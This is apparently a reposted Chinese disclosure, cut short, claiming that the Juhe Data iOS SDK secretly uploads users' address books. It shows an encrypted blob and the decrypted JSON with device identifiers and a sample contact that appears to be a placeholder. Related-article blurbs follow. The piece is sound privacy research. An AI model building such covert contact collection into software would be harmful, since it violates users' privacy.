567C9EFAB875D1208F5DACFB752C8067FD68D4F155449E8E795A15BE1C3AE3005BC8FA85E8EBCA35AEF67E5F30C26BE0FB2626881F2755E1DB081A02C7BB78FAB79AFD445547A8A60A415C106B9930528C271CAABCF131FC52112D49FC2F9D9D20A0BCF85745B30CCFCC16CF7A32E14FA9B313917791974B39D801C60D210096FBF7B7E006C133999662C94595E5821176E75C29620D06F09FB45C580ABCDA05C99B00DB72C6857C011E39AAE5D285B380025A3664D7C0F59600C1B9006F1BCEC7FE9E2F1FB7B4A902CCE70C281733F0312A6BED9402832EC5947867D3F2740D6831CDD5C619A98E327BD19FDBED00F54FCBD7817107E88C2ABAD210A286ED8C79CD97A45BC8A2A395A0A3072BD38403E357D474C26E2E94B884711CD37CC3B869F407B0DE77500D850A4674BC67EF8C74523D6790CC8C9FD1D541079E0006946EB71F1DC0E87216E94AF5B1B0FE7CDD849D06F12FAA8960C56BBDD2062BFB7486CC567780FDC35FA45B3CB15047D26DF99413E306282FC4B8BA623E2D373B2BA05FD474C26E2E94B884711CD37CC3B869F407B0DE77500D850A4674BC67EF8C7452D5B8021062C35544178EF469C99E447E92F98C5146DD1BA934A2C4D1D4042FF554DD76A06F427FF7203CCE40DC38B408574EAC5C26B52EFF880D57EB289C14F0F48B1CEA4B344F093A8019EA4B5AAE1D71DFFD03DE5FD9DCF408AA86FE0B3D39A7AD77626C505496BF6F85F8F2270FDBDC4C3B8436760A828A429F8296D4ACEEBEFDAC4B47DCC728B0A4F2ED1AA231D88A76C7EB42C4B10B40F48495C8DE787079ACC483DD56E4DD44D4408C976E2A678655BE449B6A4C17CB9B4F51236FE98D4E05CEAF7C6F85E2DA56A36593FC28E89FAAF8D5D9F4C2F9AE469199627047FE32A10E387AA28EDE469B6731DCF1A136033E40F0CDA1A2493B0BF376CF88FDAF5F489855F68E2D4EA860AF180D2CBE53184B1870EEE9D61A97A88418D845EA11CB9393DD60F098E48689EF3BA1F0E8324B099CBEC159817F9381EB1D34EF5F242FFDD2D77429B4F3EF61D48FAAC1709739E75DFB3E55C1203AE720BA0A32C16A9C96A85116791FD91B216951773FC4FDFA44E7579C1F2C30A2DC0AC3DF16ECFD8AF79ADF977AB5AC53BC2923DECD5E3EF8474A442B13D5FB96ACBBF1794E5EF98C619788D1F5BCEB497B0F2D32422A833727BEBB465B3EBFD04E47246DBD99AD90658AD018D0D6EED7F82B3008F4B63C1FE4BF2A6B289446DEE72601EA35025CE6F5D8FC4184F695F4135FCD929C389C42816B4361C1B1BD8CFF3B80003E72830CA4E373907C3193CCFF1DAE934AC27E351B25135A6B45BFB5BE703198B662D34CF82A234CF8800A441C403CD9314135EFFD7B2C828B1E0CB9A458095C172B38DAF11EA203F2704B3374D943D80C1EB0509CC761E6ADA75913B2BBC392ABC750503D522F15C636A994FBBE36AC355154F7333C99267C6CECE5950F2477AA309AF11E8D7A57C058934B35FB6EAE90D6C693F6F053E953D43C07A08F0CB51DE16A

解密后结果:

{
  "idfa" : "13D66220-D133-4145-8D60-4A1CC99C0178",
  "lon" : "",
  "sim" : "中国电信",
  "type" : "iPhone OS",
  "imei" : "321a804136f53aef66a52296f4773ba4f3c1abf0",
  "os" : "8.1",
  "lat" : "",
  "pname" : "com.thinkland.ncc",
  "list" : [
    {
      "listNickname" : [
        {
          "nickname" : ""
        }
      ],
      "listPhone" : [
        {
          "phoneType" : "iOS",
          "phoneNumber" : " (0) 21110"
        },
        {
          "phoneType" : "iOS",
          "phoneNumber" : " (0) 10110"
        },
        {
          "phoneType" : "iOS",
          "phoneNumber" : " (0) 1012315"
        }
      ],
      "listOrganizations" : [
        {
          "company" : "Spyware Technologies LLC",
          "title" : ""
        }
      ],
      "disPlayName" : "DoeJoe",
      "listNoteinfo" : [
        {
          "noteinfo" : ""
        }
      ],
      "contactId" : "1",
      "listAddress" : [
        {
          "street" : "",
          "formatAddress" : "{\n    City = Suzhou;\n    Country = China;\n    CountryCode = cn;\n    State = Jiangsu;\n    Street = \"Each St\\nChangwan\";\n    ZIP = 215000;\n}",
          "city" : "",
          "postCode" : "",
          "region" : ""
        }
      ],
      "listEmail" : [
        {
          "emailValue" : "[email protected]",
          "emailType" : ""
        }
      ]
    }
  ],
  "model" : "iPhone",
  "openid" : "JHaf65a935c448fe7772d219d44a49e6aa",
  "network" : "CTRadioAccessTechnologyCDMAEVDORevA",
  "openId" : "JHaf65a935c448fe7772d219d44a49e6aa"
}

受影响列表

为了方便检索,我将会上传通讯录的 SDK / App 列表整理在这里。

注:

  1. SDK 的下载地址和更新时间为 iOS 版本里库文件的更新时间;

  2. App 的更新时间为 App Store 里显示的时间。

另外,聚合数据首页上链接过去的  聚合数据 iOS 项目开发实战:条码查询器 内课程资料里的 Demo 亦包含会上传通讯录的代码。这里限于版权原因就不提供下载了。

结尾

最后,请聚合数据尽快删除存储在服务器上的用户隐私数据并公开承认且道歉。

以及,贵司不如帮员工报个新东方什么的英语培训班?代码里各种 typo 看的我都快吐了 :-(

[ 原文地址 ,本文为代友转载]

相关 [聚合 数据 用户] 推荐:

关于聚合数据窃取用户通讯录的完整分析

- - FreeBuf.COM
iOS SDK Demo  的时候,发现会请求通讯录权限 … 当时刚睡醒没多久,拿了自己在用的手机,还点了 Allow. 然后我就在 Charles 里发现了一个很大的请求,很好奇,便对 SDK 进行了逆向工程,拿到了解密方法,发现我的整个通讯录都被上传了. 于是我在 V2EX 发了一个帖子  请不要使用聚合数据的 SDK,后来被聚合的工作人员看到,他们是 这样回复的:.

互联网数据聚合

- - 四火的唠叨
文章系本人原创,转载请保持完整性并注明出自 《四火的唠叨》. 我们经常需要从互联网上获取数据,在很多情况下,你需要的是特定信息,或者说是符合某些条件的信息,比如:. 这条需求隐含着两个有普遍意义的步骤:. 从互联网上聚合符合特定条件的信息;. 当满足阈值条件时,以某种方式通知用户. 事实上有太多做互联网数据聚合的网站了,比如 酷讯机票,聚合了各大航空公司的机票信息:.

分析聚合数据的SDK

- - Solidot
Aveline Swan上周发现聚合数据(juhe.cn)的 SDK会偷偷上传用户通讯录至服务器,虽然聚合数据随后更新了SDK关闭了上传用户通讯录,但Swan指出在产品端更新SDK是个漫长的过程,旧版的SDK仍然在收集用户通讯录,而且合数据服务器上用于接收上传的通讯录的接口并没有被删掉,仍然能正常处理数据.

NoSQL聚合数据模型 - 大CC

- - 博客园_首页
聚合数据模型的特点就是把经常访问的数据放在一起(聚合在一块);. 这样带来的好处很明显,对于某个查询请求,能够在与数据库一次交互中将所有数据都取出来;. 当然,以这种方式存储不可避免的会有重复,重复是为了更少的交互;. 聚合结构对某些交互有利,却阻碍另一些交互;. 比如:以学生学号聚合学生信息(含学生姓名、班级、年龄、等信息,甚至英语学科成绩),通过学号查询时,能够在一次交互中查询出该学生的所有信息,但如果想通过学生姓名来查询,就很困难;.

实时数据聚合怎么破

- -
实时数据分析一直是个热门话题,需要实时数据分析的场景也越来越多,如金融支付中的风控,基础运维中的监控告警,实时大盘之外,AI模型也需要消费更为实时的聚合结果来达到很好的预测效果. 实时数据分析如果讲的更加具体些,基本上会牵涉到数据聚合分析. 数据聚合分析在实时场景下,面临的新问题是什么,要解决的很好,大致有哪些方面的思路和框架可供使用,本文尝试做一下分析和厘清.

微服务的数据聚合Join_cn_hhaip的专栏-CSDN博客

- -
CQRS和UI(前端)更新策略. 架构2005 VS 2016. 传统SQL数据库,通常正规化(normalization)的方式来建模数据. 数据冗余少,不足之处是数据聚合Join会比较麻烦,可能实际Join的时候,需要将几张相关表,通过主键和外键关系才能Join起来. 我们知道,Join是一种开销比较大的SQL运算,当数据量少的时候,这种开销通常OK.

[数据]用户卸载APP的原因

- - 曉生
数据分析结果显示,42%的用户会因为不喜欢界面的设计而卸载APP. 现在市场上已经不缺乏优秀的APP,要想留住用户,必须重视界面视觉和交互设计,否则用户会去寻找替代品. 另外,还要其他6个卸载原因:. 68%因为注册登录复杂,需要注册登录的APP尤其要注意. 48%因为程度不稳定,崩溃和闪退. 29%的用户选择了烦人的广告.

大数据下的用户画像

- - 人月神话的BLOG
简单点来说用户画像,即是 根据用户的静态基本属性和动态行为数据来构建一个可标签化的用户模型. 静态属性:个人基本信息(地域,年龄,性别,婚姻),家庭信息,工作信息等. 动态行为:购买行为,点击行为,浏览,评论,营销活动参与行为,退换货行为,支付行为等. 为何要进行用户画像,核心还是后续的针对性营销,当我们组织一次针对性营销的时候,首先要确定的就是营销的用户群体,那么就要从用户标签中精确定位这个群体.

数据驱动与用户画像

- -
最近不少客户提出,希望与神策数据共同建设“用户画像”以驱动产品智能,但什么才是用户画像呢. 我们通过这篇文章,介绍我们理解的两种用户画像(User Persona 和 User Profile),以及如何构建用户画像(User Profile)的标签体系并驱动产品智能. 第一种用户画像(User Persona)是产品设计、运营人员从用户群体中抽象出来的典型用户:.

亚马逊三法则:改善 用户 数据

- bluesnail - 所有文章 - UCD大社区
亚马逊名头虽大,却并非一家高度开放与曝光的公司. 3月下旬,记者受邀在亚马逊总部做了两三天的探访,其间还飞赴凤凰城,参观了它某个物流运营中心. 一路下来,对贯穿在公司上下的三点法则印象深刻. 需要说明的是,所谓“法则”仅是记者随机观感. 尽管如此,亦可以从几个侧面看到亚马逊何以能持续、且有效创新的逻辑.